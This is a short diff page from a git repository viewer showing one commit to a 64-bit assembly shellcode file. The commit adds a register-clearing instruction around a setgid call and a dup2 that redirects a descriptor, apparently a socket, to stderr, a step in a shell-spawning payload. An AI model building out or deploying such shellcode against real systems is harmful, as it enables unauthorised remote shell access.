aboutsummaryrefslogtreecommitdiffstats
path: root/shellcode-64.s
diff options
context:
space:
mode:
Diffstat (limited to 'shellcode-64.s')
-rw-r--r--shellcode-64.s1
1 files changed, 1 insertions, 0 deletions
diff --git a/shellcode-64.s b/shellcode-64.s
index f465c5d..517b617 100644
--- a/shellcode-64.s
+++ b/shellcode-64.s
@@ -14,6 +14,7 @@ xor rdi,rdi
mov al,0x6a
syscall
;dup2(6, 2)
+xor rsi,rsi
mov dil,0x6
mov sil,0x2
mov al,0x21